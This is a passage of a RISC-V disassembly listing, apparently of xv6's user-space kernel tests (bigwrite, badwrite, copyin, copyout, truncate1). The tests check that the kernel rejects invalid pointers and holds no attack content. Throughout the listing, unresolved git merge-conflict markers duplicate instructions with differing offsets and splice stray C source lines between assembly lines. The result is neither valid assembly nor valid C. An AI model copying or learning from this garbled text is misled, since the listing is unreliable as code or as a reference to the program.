244: 00078123 sb zero,2(a5)
248: 03000493 li s1,48
24c: 893e mv s2,a5
24e: 06400993 li s3,100
252: 009900a3 sb s1,1(s2)
256: 854a mv a0,s2
258: 00005097 auipc ra,0x5
25c: 2c4080e7 jalr 708(ra) # 551c <unlink>
<<<<<<< HEAD
=======
for (i = 0; i < N; i++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
260: 2485 addiw s1,s1,1
262: 0ff4f493 zext.b s1,s1
266: ff3496e3 bne s1,s3,252 <createtest+0x6e>
26a: 70a2 ld ra,40(sp)
26c: 7402 ld s0,32(sp)
26e: 64e2 ld s1,24(sp)
270: 6942 ld s2,16(sp)
272: 69a2 ld s3,8(sp)
274: 6145 addi sp,sp,48
276: 8082 ret
0000000000000278 <bigwrite>:
278: 715d addi sp,sp,-80
27a: e486 sd ra,72(sp)
27c: e0a2 sd s0,64(sp)
27e: fc26 sd s1,56(sp)
280: f84a sd s2,48(sp)
282: f44e sd s3,40(sp)
284: f052 sd s4,32(sp)
286: ec56 sd s5,24(sp)
288: e85a sd s6,16(sp)
28a: e45e sd s7,8(sp)
28c: 0880 addi s0,sp,80
28e: 8baa mv s7,a0
290: 00006517 auipc a0,0x6
<<<<<<< HEAD
294: 9b050513 addi a0,a0,-1616 # 5c40 <l_free+0x1d8>
298: 00005097 auipc ra,0x5
29c: 284080e7 jalr 644(ra) # 551c <unlink>
=======
294: 9b050513 addi a0,a0,-1616 # 5c40 <l_free+0x1da>
298: 00005097 auipc ra,0x5
29c: 284080e7 jalr 644(ra) # 551c <unlink>
for (sz = 499; sz < (MAXOPBLOCKS + 2) * BSIZE; sz += 471) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2a0: 1f300493 li s1,499
2a4: 00006a97 auipc s5,0x6
<<<<<<< HEAD
2a8: 99ca8a93 addi s5,s5,-1636 # 5c40 <l_free+0x1d8>
=======
2a8: 99ca8a93 addi s5,s5,-1636 # 5c40 <l_free+0x1da>
int cc = write(fd, buf, sz);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2ac: 0000ba17 auipc s4,0xb
2b0: 764a0a13 addi s4,s4,1892 # ba10 <buf>
2b4: 6b0d lui s6,0x3
2b6: 1c9b0b13 addi s6,s6,457 # 31c9 <subdir+0x5b7>
<<<<<<< HEAD
=======
fd = open("bigwrite", O_CREATE | O_RDWR);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2ba: 20200593 li a1,514
2be: 8556 mv a0,s5
2c0: 00005097 auipc ra,0x5
2c4: 24c080e7 jalr 588(ra) # 550c <open>
2c8: 892a mv s2,a0
2ca: 04054d63 bltz a0,324 <bigwrite+0xac>
2ce: 8626 mv a2,s1
2d0: 85d2 mv a1,s4
2d2: 00005097 auipc ra,0x5
2d6: 21a080e7 jalr 538(ra) # 54ec <write>
2da: 89aa mv s3,a0
2dc: 06a49463 bne s1,a0,344 <bigwrite+0xcc>
2e0: 8626 mv a2,s1
2e2: 85d2 mv a1,s4
2e4: 854a mv a0,s2
2e6: 00005097 auipc ra,0x5
2ea: 206080e7 jalr 518(ra) # 54ec <write>
<<<<<<< HEAD
=======
if (cc != sz) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
2ee: 04951963 bne a0,s1,340 <bigwrite+0xc8>
2f2: 854a mv a0,s2
2f4: 00005097 auipc ra,0x5
2f8: 200080e7 jalr 512(ra) # 54f4 <close>
<<<<<<< HEAD
2fc: 8556 mv a0,s5
2fe: 00005097 auipc ra,0x5
302: 21e080e7 jalr 542(ra) # 551c <unlink>
=======
unlink("bigwrite");
2fc: 8556 mv a0,s5
2fe: 00005097 auipc ra,0x5
302: 21e080e7 jalr 542(ra) # 551c <unlink>
for (sz = 499; sz < (MAXOPBLOCKS + 2) * BSIZE; sz += 471) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
306: 1d74849b addiw s1,s1,471
30a: fb6498e3 bne s1,s6,2ba <bigwrite+0x42>
30e: 60a6 ld ra,72(sp)
310: 6406 ld s0,64(sp)
312: 74e2 ld s1,56(sp)
314: 7942 ld s2,48(sp)
316: 79a2 ld s3,40(sp)
318: 7a02 ld s4,32(sp)
31a: 6ae2 ld s5,24(sp)
31c: 6b42 ld s6,16(sp)
31e: 6ba2 ld s7,8(sp)
320: 6161 addi sp,sp,80
322: 8082 ret
324: 85de mv a1,s7
326: 00006517 auipc a0,0x6
<<<<<<< HEAD
32a: b3250513 addi a0,a0,-1230 # 5e58 <l_free+0x3f0>
32e: 00005097 auipc ra,0x5
332: 518080e7 jalr 1304(ra) # 5846 <printf>
=======
32a: b3250513 addi a0,a0,-1230 # 5e58 <l_free+0x3f2>
32e: 00005097 auipc ra,0x5
332: 516080e7 jalr 1302(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
336: 4505 li a0,1
338: 00005097 auipc ra,0x5
33c: 194080e7 jalr 404(ra) # 54cc <exit>
340: 84ce mv s1,s3
342: 89aa mv s3,a0
344: 86ce mv a3,s3
346: 8626 mv a2,s1
348: 85de mv a1,s7
34a: 00006517 auipc a0,0x6
<<<<<<< HEAD
34e: b2e50513 addi a0,a0,-1234 # 5e78 <l_free+0x410>
352: 00005097 auipc ra,0x5
356: 4f4080e7 jalr 1268(ra) # 5846 <printf>
=======
34e: b2e50513 addi a0,a0,-1234 # 5e78 <l_free+0x412>
352: 00005097 auipc ra,0x5
356: 4f2080e7 jalr 1266(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
35a: 4505 li a0,1
35c: 00005097 auipc ra,0x5
360: 170080e7 jalr 368(ra) # 54cc <exit>
0000000000000364 <badwrite>:
364: 7179 addi sp,sp,-48
366: f406 sd ra,40(sp)
368: f022 sd s0,32(sp)
36a: ec26 sd s1,24(sp)
36c: e84a sd s2,16(sp)
36e: e44e sd s3,8(sp)
370: e052 sd s4,0(sp)
372: 1800 addi s0,sp,48
374: 00006517 auipc a0,0x6
<<<<<<< HEAD
378: b1c50513 addi a0,a0,-1252 # 5e90 <l_free+0x428>
=======
378: b1c50513 addi a0,a0,-1252 # 5e90 <l_free+0x42a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
37c: 00005097 auipc ra,0x5
380: 1a0080e7 jalr 416(ra) # 551c <unlink>
384: 25800913 li s2,600
388: 00006997 auipc s3,0x6
<<<<<<< HEAD
38c: b0898993 addi s3,s3,-1272 # 5e90 <l_free+0x428>
=======
38c: b0898993 addi s3,s3,-1272 # 5e90 <l_free+0x42a>
if (fd < 0) {
printf("open junk failed\n");
exit(1);
}
write(fd, (char *)0xffffffffffL, 1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
390: 5a7d li s4,-1
392: 018a5a13 srli s4,s4,0x18
396: 20100593 li a1,513
39a: 854e mv a0,s3
39c: 00005097 auipc ra,0x5
3a0: 170080e7 jalr 368(ra) # 550c <open>
3a4: 84aa mv s1,a0
3a6: 06054b63 bltz a0,41c <badwrite+0xb8>
3aa: 4605 li a2,1
3ac: 85d2 mv a1,s4
3ae: 00005097 auipc ra,0x5
3b2: 13e080e7 jalr 318(ra) # 54ec <write>
<<<<<<< HEAD
3b6: 8526 mv a0,s1
3b8: 00005097 auipc ra,0x5
3bc: 13c080e7 jalr 316(ra) # 54f4 <close>
3c0: 854e mv a0,s3
3c2: 00005097 auipc ra,0x5
3c6: 15a080e7 jalr 346(ra) # 551c <unlink>
=======
close(fd);
3b6: 8526 mv a0,s1
3b8: 00005097 auipc ra,0x5
3bc: 13c080e7 jalr 316(ra) # 54f4 <close>
unlink("junk");
3c0: 854e mv a0,s3
3c2: 00005097 auipc ra,0x5
3c6: 15a080e7 jalr 346(ra) # 551c <unlink>
for (int i = 0; i < assumed_free; i++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3ca: 397d addiw s2,s2,-1
3cc: fc0915e3 bnez s2,396 <badwrite+0x32>
3d0: 20100593 li a1,513
3d4: 00006517 auipc a0,0x6
<<<<<<< HEAD
3d8: abc50513 addi a0,a0,-1348 # 5e90 <l_free+0x428>
=======
3d8: abc50513 addi a0,a0,-1348 # 5e90 <l_free+0x42a>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3dc: 00005097 auipc ra,0x5
3e0: 130080e7 jalr 304(ra) # 550c <open>
3e4: 84aa mv s1,a0
3e6: 04054863 bltz a0,436 <badwrite+0xd2>
3ea: 4605 li a2,1
3ec: 00006597 auipc a1,0x6
<<<<<<< HEAD
3f0: a3c58593 addi a1,a1,-1476 # 5e28 <l_free+0x3c0>
=======
3f0: a3c58593 addi a1,a1,-1476 # 5e28 <l_free+0x3c2>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
3f4: 00005097 auipc ra,0x5
3f8: 0f8080e7 jalr 248(ra) # 54ec <write>
3fc: 4785 li a5,1
3fe: 04f50963 beq a0,a5,450 <badwrite+0xec>
402: 00006517 auipc a0,0x6
<<<<<<< HEAD
406: aae50513 addi a0,a0,-1362 # 5eb0 <l_free+0x448>
40a: 00005097 auipc ra,0x5
40e: 43c080e7 jalr 1084(ra) # 5846 <printf>
412: 4505 li a0,1
414: 00005097 auipc ra,0x5
418: 0b8080e7 jalr 184(ra) # 54cc <exit>
41c: 00006517 auipc a0,0x6
420: a7c50513 addi a0,a0,-1412 # 5e98 <l_free+0x430>
424: 00005097 auipc ra,0x5
428: 422080e7 jalr 1058(ra) # 5846 <printf>
42c: 4505 li a0,1
42e: 00005097 auipc ra,0x5
432: 09e080e7 jalr 158(ra) # 54cc <exit>
436: 00006517 auipc a0,0x6
43a: a6250513 addi a0,a0,-1438 # 5e98 <l_free+0x430>
43e: 00005097 auipc ra,0x5
442: 408080e7 jalr 1032(ra) # 5846 <printf>
446: 4505 li a0,1
448: 00005097 auipc ra,0x5
44c: 084080e7 jalr 132(ra) # 54cc <exit>
450: 8526 mv a0,s1
452: 00005097 auipc ra,0x5
456: 0a2080e7 jalr 162(ra) # 54f4 <close>
45a: 00006517 auipc a0,0x6
45e: a3650513 addi a0,a0,-1482 # 5e90 <l_free+0x428>
462: 00005097 auipc ra,0x5
466: 0ba080e7 jalr 186(ra) # 551c <unlink>
=======
406: aae50513 addi a0,a0,-1362 # 5eb0 <l_free+0x44a>
40a: 00005097 auipc ra,0x5
40e: 43a080e7 jalr 1082(ra) # 5844 <printf>
exit(1);
412: 4505 li a0,1
414: 00005097 auipc ra,0x5
418: 0b8080e7 jalr 184(ra) # 54cc <exit>
printf("open junk failed\n");
41c: 00006517 auipc a0,0x6
420: a7c50513 addi a0,a0,-1412 # 5e98 <l_free+0x432>
424: 00005097 auipc ra,0x5
428: 420080e7 jalr 1056(ra) # 5844 <printf>
exit(1);
42c: 4505 li a0,1
42e: 00005097 auipc ra,0x5
432: 09e080e7 jalr 158(ra) # 54cc <exit>
printf("open junk failed\n");
436: 00006517 auipc a0,0x6
43a: a6250513 addi a0,a0,-1438 # 5e98 <l_free+0x432>
43e: 00005097 auipc ra,0x5
442: 406080e7 jalr 1030(ra) # 5844 <printf>
exit(1);
446: 4505 li a0,1
448: 00005097 auipc ra,0x5
44c: 084080e7 jalr 132(ra) # 54cc <exit>
}
close(fd);
450: 8526 mv a0,s1
452: 00005097 auipc ra,0x5
456: 0a2080e7 jalr 162(ra) # 54f4 <close>
unlink("junk");
45a: 00006517 auipc a0,0x6
45e: a3650513 addi a0,a0,-1482 # 5e90 <l_free+0x42a>
462: 00005097 auipc ra,0x5
466: 0ba080e7 jalr 186(ra) # 551c <unlink>
exit(0);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
46a: 4501 li a0,0
46c: 00005097 auipc ra,0x5
470: 060080e7 jalr 96(ra) # 54cc <exit>
0000000000000474 <copyin>:
474: 715d addi sp,sp,-80
476: e486 sd ra,72(sp)
478: e0a2 sd s0,64(sp)
47a: fc26 sd s1,56(sp)
47c: f84a sd s2,48(sp)
47e: f44e sd s3,40(sp)
480: f052 sd s4,32(sp)
482: 0880 addi s0,sp,80
484: 4785 li a5,1
486: 07fe slli a5,a5,0x1f
488: fcf43023 sd a5,-64(s0)
48c: 57fd li a5,-1
48e: fcf43423 sd a5,-56(s0)
492: fc040913 addi s2,s0,-64
496: 00006a17 auipc s4,0x6
<<<<<<< HEAD
49a: a2aa0a13 addi s4,s4,-1494 # 5ec0 <l_free+0x458>
=======
49a: a2aa0a13 addi s4,s4,-1494 # 5ec0 <l_free+0x45a>
uint64 addr = addrs[ai];
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
49e: 00093983 ld s3,0(s2)
4a2: 20100593 li a1,513
4a6: 8552 mv a0,s4
4a8: 00005097 auipc ra,0x5
4ac: 064080e7 jalr 100(ra) # 550c <open>
4b0: 84aa mv s1,a0
4b2: 08054863 bltz a0,542 <copyin+0xce>
4b6: 6609 lui a2,0x2
4b8: 85ce mv a1,s3
4ba: 00005097 auipc ra,0x5
4be: 032080e7 jalr 50(ra) # 54ec <write>
<<<<<<< HEAD
=======
if (n >= 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4c2: 08055d63 bgez a0,55c <copyin+0xe8>
4c6: 8526 mv a0,s1
4c8: 00005097 auipc ra,0x5
4cc: 02c080e7 jalr 44(ra) # 54f4 <close>
<<<<<<< HEAD
4d0: 8552 mv a0,s4
4d2: 00005097 auipc ra,0x5
4d6: 04a080e7 jalr 74(ra) # 551c <unlink>
=======
unlink("copyin1");
4d0: 8552 mv a0,s4
4d2: 00005097 auipc ra,0x5
4d6: 04a080e7 jalr 74(ra) # 551c <unlink>
n = write(1, (char *)addr, 8192);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4da: 6609 lui a2,0x2
4dc: 85ce mv a1,s3
4de: 4505 li a0,1
4e0: 00005097 auipc ra,0x5
4e4: 00c080e7 jalr 12(ra) # 54ec <write>
<<<<<<< HEAD
=======
if (n > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
4e8: 08a04963 bgtz a0,57a <copyin+0x106>
4ec: fb840513 addi a0,s0,-72
4f0: 00005097 auipc ra,0x5
4f4: fec080e7 jalr -20(ra) # 54dc <pipe>
4f8: 0a054063 bltz a0,598 <copyin+0x124>
4fc: 6609 lui a2,0x2
4fe: 85ce mv a1,s3
500: fbc42503 lw a0,-68(s0)
504: 00005097 auipc ra,0x5
508: fe8080e7 jalr -24(ra) # 54ec <write>
<<<<<<< HEAD
=======
if (n > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
50c: 0aa04363 bgtz a0,5b2 <copyin+0x13e>
510: fb842503 lw a0,-72(s0)
514: 00005097 auipc ra,0x5
518: fe0080e7 jalr -32(ra) # 54f4 <close>
<<<<<<< HEAD
51c: fbc42503 lw a0,-68(s0)
520: 00005097 auipc ra,0x5
524: fd4080e7 jalr -44(ra) # 54f4 <close>
=======
close(fds[1]);
51c: fbc42503 lw a0,-68(s0)
520: 00005097 auipc ra,0x5
524: fd4080e7 jalr -44(ra) # 54f4 <close>
for (int ai = 0; ai < 2; ai++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
528: 0921 addi s2,s2,8
52a: fd040793 addi a5,s0,-48
52e: f6f918e3 bne s2,a5,49e <copyin+0x2a>
532: 60a6 ld ra,72(sp)
534: 6406 ld s0,64(sp)
536: 74e2 ld s1,56(sp)
538: 7942 ld s2,48(sp)
53a: 79a2 ld s3,40(sp)
53c: 7a02 ld s4,32(sp)
53e: 6161 addi sp,sp,80
540: 8082 ret
542: 00006517 auipc a0,0x6
<<<<<<< HEAD
546: 98650513 addi a0,a0,-1658 # 5ec8 <l_free+0x460>
54a: 00005097 auipc ra,0x5
54e: 2fc080e7 jalr 764(ra) # 5846 <printf>
552: 4505 li a0,1
554: 00005097 auipc ra,0x5
558: f78080e7 jalr -136(ra) # 54cc <exit>
55c: 862a mv a2,a0
55e: 85ce mv a1,s3
560: 00006517 auipc a0,0x6
564: 98050513 addi a0,a0,-1664 # 5ee0 <l_free+0x478>
568: 00005097 auipc ra,0x5
56c: 2de080e7 jalr 734(ra) # 5846 <printf>
570: 4505 li a0,1
572: 00005097 auipc ra,0x5
576: f5a080e7 jalr -166(ra) # 54cc <exit>
57a: 862a mv a2,a0
57c: 85ce mv a1,s3
57e: 00006517 auipc a0,0x6
582: 99250513 addi a0,a0,-1646 # 5f10 <l_free+0x4a8>
586: 00005097 auipc ra,0x5
58a: 2c0080e7 jalr 704(ra) # 5846 <printf>
58e: 4505 li a0,1
590: 00005097 auipc ra,0x5
594: f3c080e7 jalr -196(ra) # 54cc <exit>
598: 00006517 auipc a0,0x6
59c: 9a850513 addi a0,a0,-1624 # 5f40 <l_free+0x4d8>
5a0: 00005097 auipc ra,0x5
5a4: 2a6080e7 jalr 678(ra) # 5846 <printf>
5a8: 4505 li a0,1
5aa: 00005097 auipc ra,0x5
5ae: f22080e7 jalr -222(ra) # 54cc <exit>
5b2: 862a mv a2,a0
5b4: 85ce mv a1,s3
5b6: 00006517 auipc a0,0x6
5ba: 99a50513 addi a0,a0,-1638 # 5f50 <l_free+0x4e8>
5be: 00005097 auipc ra,0x5
5c2: 288080e7 jalr 648(ra) # 5846 <printf>
=======
546: 98650513 addi a0,a0,-1658 # 5ec8 <l_free+0x462>
54a: 00005097 auipc ra,0x5
54e: 2fa080e7 jalr 762(ra) # 5844 <printf>
exit(1);
552: 4505 li a0,1
554: 00005097 auipc ra,0x5
558: f78080e7 jalr -136(ra) # 54cc <exit>
printf("write(fd, %p, 8192) returned %d, not -1\n", addr, n);
55c: 862a mv a2,a0
55e: 85ce mv a1,s3
560: 00006517 auipc a0,0x6
564: 98050513 addi a0,a0,-1664 # 5ee0 <l_free+0x47a>
568: 00005097 auipc ra,0x5
56c: 2dc080e7 jalr 732(ra) # 5844 <printf>
exit(1);
570: 4505 li a0,1
572: 00005097 auipc ra,0x5
576: f5a080e7 jalr -166(ra) # 54cc <exit>
printf("write(1, %p, 8192) returned %d, not -1 or 0\n", addr, n);
57a: 862a mv a2,a0
57c: 85ce mv a1,s3
57e: 00006517 auipc a0,0x6
582: 99250513 addi a0,a0,-1646 # 5f10 <l_free+0x4aa>
586: 00005097 auipc ra,0x5
58a: 2be080e7 jalr 702(ra) # 5844 <printf>
exit(1);
58e: 4505 li a0,1
590: 00005097 auipc ra,0x5
594: f3c080e7 jalr -196(ra) # 54cc <exit>
printf("pipe() failed\n");
598: 00006517 auipc a0,0x6
59c: 9a850513 addi a0,a0,-1624 # 5f40 <l_free+0x4da>
5a0: 00005097 auipc ra,0x5
5a4: 2a4080e7 jalr 676(ra) # 5844 <printf>
exit(1);
5a8: 4505 li a0,1
5aa: 00005097 auipc ra,0x5
5ae: f22080e7 jalr -222(ra) # 54cc <exit>
printf("write(pipe, %p, 8192) returned %d, not -1 or 0\n", addr, n);
5b2: 862a mv a2,a0
5b4: 85ce mv a1,s3
5b6: 00006517 auipc a0,0x6
5ba: 99a50513 addi a0,a0,-1638 # 5f50 <l_free+0x4ea>
5be: 00005097 auipc ra,0x5
5c2: 286080e7 jalr 646(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
5c6: 4505 li a0,1
5c8: 00005097 auipc ra,0x5
5cc: f04080e7 jalr -252(ra) # 54cc <exit>
00000000000005d0 <copyout>:
5d0: 711d addi sp,sp,-96
5d2: ec86 sd ra,88(sp)
5d4: e8a2 sd s0,80(sp)
5d6: e4a6 sd s1,72(sp)
5d8: e0ca sd s2,64(sp)
5da: fc4e sd s3,56(sp)
5dc: f852 sd s4,48(sp)
5de: f456 sd s5,40(sp)
5e0: 1080 addi s0,sp,96
5e2: 4785 li a5,1
5e4: 07fe slli a5,a5,0x1f
5e6: faf43823 sd a5,-80(s0)
5ea: 57fd li a5,-1
5ec: faf43c23 sd a5,-72(s0)
5f0: fb040913 addi s2,s0,-80
5f4: 00006a17 auipc s4,0x6
<<<<<<< HEAD
5f8: 98ca0a13 addi s4,s4,-1652 # 5f80 <l_free+0x518>
5fc: 00006a97 auipc s5,0x6
600: 82ca8a93 addi s5,s5,-2004 # 5e28 <l_free+0x3c0>
=======
5f8: 98ca0a13 addi s4,s4,-1652 # 5f80 <l_free+0x51a>
n = write(fds[1], "x", 1);
5fc: 00006a97 auipc s5,0x6
600: 82ca8a93 addi s5,s5,-2004 # 5e28 <l_free+0x3c2>
uint64 addr = addrs[ai];
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
604: 00093983 ld s3,0(s2)
608: 4581 li a1,0
60a: 8552 mv a0,s4
60c: 00005097 auipc ra,0x5
610: f00080e7 jalr -256(ra) # 550c <open>
614: 84aa mv s1,a0
616: 08054663 bltz a0,6a2 <copyout+0xd2>
61a: 6609 lui a2,0x2
61c: 85ce mv a1,s3
61e: 00005097 auipc ra,0x5
622: ec6080e7 jalr -314(ra) # 54e4 <read>
<<<<<<< HEAD
=======
if (n > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
626: 08a04b63 bgtz a0,6bc <copyout+0xec>
62a: 8526 mv a0,s1
62c: 00005097 auipc ra,0x5
630: ec8080e7 jalr -312(ra) # 54f4 <close>
<<<<<<< HEAD
=======
if (pipe(fds) < 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
634: fa840513 addi a0,s0,-88
638: 00005097 auipc ra,0x5
63c: ea4080e7 jalr -348(ra) # 54dc <pipe>
640: 08054d63 bltz a0,6da <copyout+0x10a>
644: 4605 li a2,1
646: 85d6 mv a1,s5
648: fac42503 lw a0,-84(s0)
64c: 00005097 auipc ra,0x5
650: ea0080e7 jalr -352(ra) # 54ec <write>
<<<<<<< HEAD
=======
if (n != 1) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
654: 4785 li a5,1
656: 08f51f63 bne a0,a5,6f4 <copyout+0x124>
65a: 6609 lui a2,0x2
65c: 85ce mv a1,s3
65e: fa842503 lw a0,-88(s0)
662: 00005097 auipc ra,0x5
666: e82080e7 jalr -382(ra) # 54e4 <read>
<<<<<<< HEAD
=======
if (n > 0) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
66a: 0aa04263 bgtz a0,70e <copyout+0x13e>
66e: fa842503 lw a0,-88(s0)
672: 00005097 auipc ra,0x5
676: e82080e7 jalr -382(ra) # 54f4 <close>
<<<<<<< HEAD
67a: fac42503 lw a0,-84(s0)
67e: 00005097 auipc ra,0x5
682: e76080e7 jalr -394(ra) # 54f4 <close>
=======
close(fds[1]);
67a: fac42503 lw a0,-84(s0)
67e: 00005097 auipc ra,0x5
682: e76080e7 jalr -394(ra) # 54f4 <close>
for (int ai = 0; ai < 2; ai++) {
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
686: 0921 addi s2,s2,8
688: fc040793 addi a5,s0,-64
68c: f6f91ce3 bne s2,a5,604 <copyout+0x34>
690: 60e6 ld ra,88(sp)
692: 6446 ld s0,80(sp)
694: 64a6 ld s1,72(sp)
696: 6906 ld s2,64(sp)
698: 79e2 ld s3,56(sp)
69a: 7a42 ld s4,48(sp)
69c: 7aa2 ld s5,40(sp)
69e: 6125 addi sp,sp,96
6a0: 8082 ret
6a2: 00006517 auipc a0,0x6
<<<<<<< HEAD
6a6: 8e650513 addi a0,a0,-1818 # 5f88 <l_free+0x520>
6aa: 00005097 auipc ra,0x5
6ae: 19c080e7 jalr 412(ra) # 5846 <printf>
6b2: 4505 li a0,1
6b4: 00005097 auipc ra,0x5
6b8: e18080e7 jalr -488(ra) # 54cc <exit>
6bc: 862a mv a2,a0
6be: 85ce mv a1,s3
6c0: 00006517 auipc a0,0x6
6c4: 8e050513 addi a0,a0,-1824 # 5fa0 <l_free+0x538>
6c8: 00005097 auipc ra,0x5
6cc: 17e080e7 jalr 382(ra) # 5846 <printf>
6d0: 4505 li a0,1
6d2: 00005097 auipc ra,0x5
6d6: dfa080e7 jalr -518(ra) # 54cc <exit>
6da: 00006517 auipc a0,0x6
6de: 86650513 addi a0,a0,-1946 # 5f40 <l_free+0x4d8>
6e2: 00005097 auipc ra,0x5
6e6: 164080e7 jalr 356(ra) # 5846 <printf>
6ea: 4505 li a0,1
6ec: 00005097 auipc ra,0x5
6f0: de0080e7 jalr -544(ra) # 54cc <exit>
6f4: 00006517 auipc a0,0x6
6f8: 8dc50513 addi a0,a0,-1828 # 5fd0 <l_free+0x568>
6fc: 00005097 auipc ra,0x5
700: 14a080e7 jalr 330(ra) # 5846 <printf>
704: 4505 li a0,1
706: 00005097 auipc ra,0x5
70a: dc6080e7 jalr -570(ra) # 54cc <exit>
70e: 862a mv a2,a0
710: 85ce mv a1,s3
712: 00006517 auipc a0,0x6
716: 8d650513 addi a0,a0,-1834 # 5fe8 <l_free+0x580>
71a: 00005097 auipc ra,0x5
71e: 12c080e7 jalr 300(ra) # 5846 <printf>
=======
6a6: 8e650513 addi a0,a0,-1818 # 5f88 <l_free+0x522>
6aa: 00005097 auipc ra,0x5
6ae: 19a080e7 jalr 410(ra) # 5844 <printf>
exit(1);
6b2: 4505 li a0,1
6b4: 00005097 auipc ra,0x5
6b8: e18080e7 jalr -488(ra) # 54cc <exit>
printf("read(fd, %p, 8192) returned %d, not -1 or 0\n", addr, n);
6bc: 862a mv a2,a0
6be: 85ce mv a1,s3
6c0: 00006517 auipc a0,0x6
6c4: 8e050513 addi a0,a0,-1824 # 5fa0 <l_free+0x53a>
6c8: 00005097 auipc ra,0x5
6cc: 17c080e7 jalr 380(ra) # 5844 <printf>
exit(1);
6d0: 4505 li a0,1
6d2: 00005097 auipc ra,0x5
6d6: dfa080e7 jalr -518(ra) # 54cc <exit>
printf("pipe() failed\n");
6da: 00006517 auipc a0,0x6
6de: 86650513 addi a0,a0,-1946 # 5f40 <l_free+0x4da>
6e2: 00005097 auipc ra,0x5
6e6: 162080e7 jalr 354(ra) # 5844 <printf>
exit(1);
6ea: 4505 li a0,1
6ec: 00005097 auipc ra,0x5
6f0: de0080e7 jalr -544(ra) # 54cc <exit>
printf("pipe write failed\n");
6f4: 00006517 auipc a0,0x6
6f8: 8dc50513 addi a0,a0,-1828 # 5fd0 <l_free+0x56a>
6fc: 00005097 auipc ra,0x5
700: 148080e7 jalr 328(ra) # 5844 <printf>
exit(1);
704: 4505 li a0,1
706: 00005097 auipc ra,0x5
70a: dc6080e7 jalr -570(ra) # 54cc <exit>
printf("read(pipe, %p, 8192) returned %d, not -1 or 0\n", addr, n);
70e: 862a mv a2,a0
710: 85ce mv a1,s3
712: 00006517 auipc a0,0x6
716: 8d650513 addi a0,a0,-1834 # 5fe8 <l_free+0x582>
71a: 00005097 auipc ra,0x5
71e: 12a080e7 jalr 298(ra) # 5844 <printf>
exit(1);
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
722: 4505 li a0,1
724: 00005097 auipc ra,0x5
728: da8080e7 jalr -600(ra) # 54cc <exit>
000000000000072c <truncate1>:
72c: 711d addi sp,sp,-96
72e: ec86 sd ra,88(sp)
730: e8a2 sd s0,80(sp)
732: e4a6 sd s1,72(sp)
734: e0ca sd s2,64(sp)
736: fc4e sd s3,56(sp)
738: f852 sd s4,48(sp)
73a: f456 sd s5,40(sp)
73c: 1080 addi s0,sp,96
73e: 8aaa mv s5,a0
740: 00005517 auipc a0,0x5
<<<<<<< HEAD
744: 6d050513 addi a0,a0,1744 # 5e10 <l_free+0x3a8>
748: 00005097 auipc ra,0x5
74c: dd4080e7 jalr -556(ra) # 551c <unlink>
750: 60100593 li a1,1537
754: 00005517 auipc a0,0x5
758: 6bc50513 addi a0,a0,1724 # 5e10 <l_free+0x3a8>
=======
744: 6d050513 addi a0,a0,1744 # 5e10 <l_free+0x3aa>
748: 00005097 auipc ra,0x5
74c: dd4080e7 jalr -556(ra) # 551c <unlink>
int fd1 = open("truncfile", O_CREATE | O_WRONLY | O_TRUNC);
750: 60100593 li a1,1537
754: 00005517 auipc a0,0x5
758: 6bc50513 addi a0,a0,1724 # 5e10 <l_free+0x3aa>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
75c: 00005097 auipc ra,0x5
760: db0080e7 jalr -592(ra) # 550c <open>
764: 84aa mv s1,a0
766: 4611 li a2,4
768: 00005597 auipc a1,0x5
<<<<<<< HEAD
76c: 6b858593 addi a1,a1,1720 # 5e20 <l_free+0x3b8>
770: 00005097 auipc ra,0x5
774: d7c080e7 jalr -644(ra) # 54ec <write>
778: 8526 mv a0,s1
77a: 00005097 auipc ra,0x5
77e: d7a080e7 jalr -646(ra) # 54f4 <close>
782: 4581 li a1,0
784: 00005517 auipc a0,0x5
788: 68c50513 addi a0,a0,1676 # 5e10 <l_free+0x3a8>
=======
76c: 6b858593 addi a1,a1,1720 # 5e20 <l_free+0x3ba>
770: 00005097 auipc ra,0x5
774: d7c080e7 jalr -644(ra) # 54ec <write>
close(fd1);
778: 8526 mv a0,s1
77a: 00005097 auipc ra,0x5
77e: d7a080e7 jalr -646(ra) # 54f4 <close>
int fd2 = open("truncfile", O_RDONLY);
782: 4581 li a1,0
784: 00005517 auipc a0,0x5
788: 68c50513 addi a0,a0,1676 # 5e10 <l_free+0x3aa>
>>>>>>> 6205848b8618453bf50bfe5331b435a9614bac2b
78c: 00005097 auipc ra,0x5
790: d80080e7 jalr -640(ra) # 550c <open>
794: 84aa mv s1,a0
796: 02000613 li a2,32
79a: fa040593 addi a1,s0,-96
79e: 00005097 auipc ra,0x5
7a2: d46080e7 jalr -698(ra) # 54e4 <read>
<<<<<<< HEAD
=======
if (n != 4) {
